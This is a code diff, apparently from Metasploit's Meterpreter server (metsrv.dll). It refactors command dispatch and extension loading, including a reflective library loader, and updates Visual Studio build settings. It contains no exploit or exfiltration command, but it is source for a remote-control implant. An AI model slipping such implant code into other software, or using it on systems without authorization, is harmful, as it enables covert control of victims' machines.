typedef DWORD (*PSRVDEINIT)(Remote *remote);
typedef struct _EXTENSION typedef struct _EXTENSION
{ {
HMODULE library; HMODULE library;
DWORD (*init)(Remote *remote); PSRVINIT init;
DWORD (*deinit)(Remote *remote); PSRVDEINIT deinit;
} EXTENSION; } EXTENSION;
#endif #endif

@ -12,19 +12,10 @@ extern HINSTANCE hAppInstance;
LIST * extension_list = NULL; LIST * extension_list = NULL;
// Dispatch table // Dispatch table
Command custom_commands[] = Command customCommands[] =
{ {
{ COMMAND_REQ( "core_loadlib", request_core_loadlib ),
"core_loadlib", COMMAND_TERMINATOR
{ request_core_loadlib, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/* /*
@ -32,12 +23,9 @@ Command custom_commands[] =
*/ */
VOID register_dispatch_routines() VOID register_dispatch_routines()
{ {
DWORD index;
extension_list = list_create(); extension_list = list_create();
for( index=0 ; custom_commands[index].method ; index++ ) command_register_all( customCommands );
command_register( &custom_commands[index] );
} }
/* /*
@ -45,8 +33,6 @@ VOID register_dispatch_routines()
*/ */
VOID deregister_dispatch_routines( Remote * remote ) VOID deregister_dispatch_routines( Remote * remote )
{ {
DWORD index;
while( TRUE ) while( TRUE )
{ {
EXTENSION * extension = list_pop( extension_list ); EXTENSION * extension = list_pop( extension_list );
@ -58,8 +44,7 @@ VOID deregister_dispatch_routines( Remote * remote )
free( extension ); free( extension );
} }
for( index=0 ; custom_commands[index].method ; index++ ) command_deregister_all( customCommands );
command_deregister( &custom_commands[index] );
list_destroy( extension_list ); list_destroy( extension_list );
} }

@ -355,11 +355,10 @@ static DWORD server_dispatch( Remote * remote )
break; break;
} }
cpt = thread_create( command_process_thread, remote, packet ); if( !command_handle( remote, packet ) )
if( cpt )
{ {
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle ); dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
thread_run( cpt ); break;
} }
} }
else if( result < 0 ) else if( result < 0 )
@ -502,12 +501,11 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
dprintf("[DISPATCH] Returned result: %d", result); dprintf("[DISPATCH] Returned result: %d", result);
cpt = thread_create( command_process_thread, remote, packet ); if( !command_handle( remote, packet ) )
if( cpt )
{ {
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle ); dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
thread_run( cpt ); break;
} }
} }
// Close WinInet handles // Close WinInet handles

@ -562,7 +562,7 @@ HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
do do
{ {
// The name of the library to load it as // The name of the library to load it as
strncpy(ctx->libname, shortName, sizeof(ctx->libname) - 1); strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1);
ctx->liblen = (int)strlen(ctx->libname) + 1; ctx->liblen = (int)strlen(ctx->libname) + 1;
// The address of the raw buffer // The address of the raw buffer

@ -102,13 +102,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// if the library was loaded via its reflective loader we must use GetProcAddressR() // if the library was loaded via its reflective loader we must use GetProcAddressR()
if( bLibLoadedReflectivly ) if( bLibLoadedReflectivly )
{ {
extension->init = (LPVOID)GetProcAddressR( extension->library, "InitServerExtension" ); extension->init = (PSRVINIT)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddressR( extension->library, "DeinitServerExtension" ); extension->deinit = (PSRVDEINIT)GetProcAddressR( extension->library, "DeinitServerExtension" );
} }
else else
{ {
extension->init = (LPVOID)GetProcAddress( extension->library, "InitServerExtension" ); extension->init = (PSRVINIT)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddress( extension->library, "DeinitServerExtension" ); extension->deinit = (PSRVDEINIT)GetProcAddress( extension->library, "DeinitServerExtension" );
} }
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading // patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading

@ -235,7 +235,7 @@
<FunctionLevelLinking>false</FunctionLevelLinking> <FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader> <PrecompiledHeader>
</PrecompiledHeader> </PrecompiledHeader>
<WarningLevel>Level4</WarningLevel> <WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsC</CompileAs> <CompileAs>CompileAsC</CompileAs>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
@ -260,7 +260,7 @@
<FunctionLevelLinking>false</FunctionLevelLinking> <FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader> <PrecompiledHeader>
</PrecompiledHeader> </PrecompiledHeader>
<WarningLevel>Level4</WarningLevel> <WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsC</CompileAs> <CompileAs>CompileAsC</CompileAs>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>

@ -157,7 +157,7 @@
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -194,7 +194,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -220,9 +220,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -248,9 +249,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -287,7 +289,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -324,7 +326,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>..\backcompat\$(Configuration);</AdditionalLibraryDirectories>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -357,9 +359,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<RandomizedBaseAddress>false</RandomizedBaseAddress> <RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention> <DataExecutionPrevention>false</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -392,9 +395,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<RandomizedBaseAddress>false</RandomizedBaseAddress> <RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention> <DataExecutionPrevention>false</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -427,4 +431,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -44,72 +44,51 @@
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>Unicode</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>Unicode</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization> <WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>Unicode</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>Unicode</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v110_xp</PlatformToolset> <PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings"> <ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup> </ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> <ImportGroup>
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
@ -117,10 +96,7 @@
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir> <OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir> <IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental Condition="'$(Configuration)'=='Release'">false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<LinkIncremental Condition="'$(Configuration)'=='r7_release'">false</LinkIncremental>
<LinkIncremental Condition="'$(Configuration)'=='Debug'">true</LinkIncremental>
<LinkIncremental Condition="'$(Configuration)'=='r7_debug'">true</LinkIncremental>
<GenerateManifest>false</GenerateManifest> <GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules /> <CodeAnalysisRules />
@ -149,7 +125,7 @@
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -178,7 +154,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -211,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -245,7 +221,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -292,11 +268,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile> <Profile>false</Profile>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -343,11 +317,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile> <Profile>false</Profile>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -394,11 +366,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile> <Profile>false</Profile>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -445,11 +415,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_bare.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<Profile>false</Profile> <Profile>false</Profile>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
